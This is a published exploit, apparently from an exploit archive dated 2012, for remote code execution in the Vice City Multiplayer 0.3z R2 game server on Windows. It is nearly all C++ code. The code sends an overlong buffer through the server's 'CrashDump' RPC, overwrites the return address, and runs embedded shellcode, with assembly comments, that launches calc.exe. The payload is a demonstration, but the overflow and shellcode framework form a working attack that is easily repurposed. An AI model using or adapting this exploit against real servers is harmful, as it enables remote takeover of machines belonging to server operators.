|
Exploit Title: Vice City Multiplayer remote code execution (Server) Date: 22/08/2012 Exploit Author: Sasuke78200 (Benjaa Toufik) Software Link: http://www.vicecitymultiplayer.com/downloads/03z_r2/server0.3zr2(pawn)(win)(updated2).zip Version: 0.3z R2 Tested on: Windows XP SP3, Windows 7 Ultimate SP1, Windows Server 2003, Windows Server 2008, it should work on all Windows. #include "main.h" /* Written by Sasuke78200 http://sasuke78200.blogspot.fr/ */ RakClientInterface* pClientInterface; void Exploit() { unsigned long iLen; unsigned char aBuffer[4096]; RakNet::BitStream* pBitStream; unsigned char aShellCode[] = { 0xE8, 0x25, 0x00, 0x00, 0x00, 0x5B, 0x81, 0xEC, 0x80, 0x00, 0x00, 0x00, 0x6A, 0x01, 0x6A, 0x00, 0x6A, 0x00, 0x53, 0x68, 0x78, 0x82, 0x44, 0x00, 0x6A, 0x00, 0xB8, 0x94, 0x61, 0x44, 0x00, 0xFF, 0x10, 0x6A, 0x00, 0xB8, 0x00, 0x61, 0x44, 0x00, 0xFF, 0x10, 0xE8, 0xD6, 0xFF, 0xFF, 0xFF, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00 /* Compiled version of */ //USE32 //_start: // call _string //_begin: // pop ebx // sub esp, 0x80 // ; ShellExecuteA(0, "open", "calc.exe", 0, 0, SW_SHOWNORMAL); // push 1 // push 0 // push 0 // push ebx // push 0x448278 ; offset of "open" on the server // push 0x00 // mov eax, 0x446194 // call [eax] // ; ExitProcess(0); To avoid a crash // push 0 // mov eax, 0x446100 // call [eax] //_string: // call _begin // db "calc.exe" // db 0 }; pBitStream = new RakNet::BitStream(); memset(aBuffer, 0x49, sizeof(aBuffer)); iLen = 588; // limit of the stack on Windows // New EIP (stack pointer) *(unsigned long*)&aBuffer[iLen] = 0x4165E6; // Windows iLen += 4; // EIP *(unsigned long*)&aBuffer[iLen] = 0x90909090; iLen += 4; memcpy(&aBuffer[iLen], aShellCode, sizeof(aShellCode)); iLen += sizeof(aShellCode); pBitStream->Write((unsigned int)iLen); pBitStream->Write((char*)aBuffer, iLen); pClientInterface->RPC("CrashDump", pBitStream, HIGH_PRIORITY, RELIABLE, 0, false, UNASSIGNED_NETWORK_ID, 0); delete pBitStream; } int main() { Packet* pPacket; pClientInterface = RakNetworkFactory::GetRakClientInterface(); pClientInterface->Connect("127.0.0.1", 5192, 0, 0, 20); for(;;) { while((pPacket = pClientInterface->Receive()) != 0) { switch(pPacket->data[0]) { case ID_CONNECTION_REQUEST_ACCEPTED: { puts("Connected ..."); Exploit(); break; } case ID_CONNECTION_LOST: { puts("Connection time out\nCode executed ? :)"); break; } case ID_RECEIVED_STATIC_DATA: { break; } default: { printf("packet id %d received lenght %d bytes\n", pPacket->data[0], pPacket->length); } } pClientInterface->DeallocatePacket(pPacket); } } return 0; }
|
|
|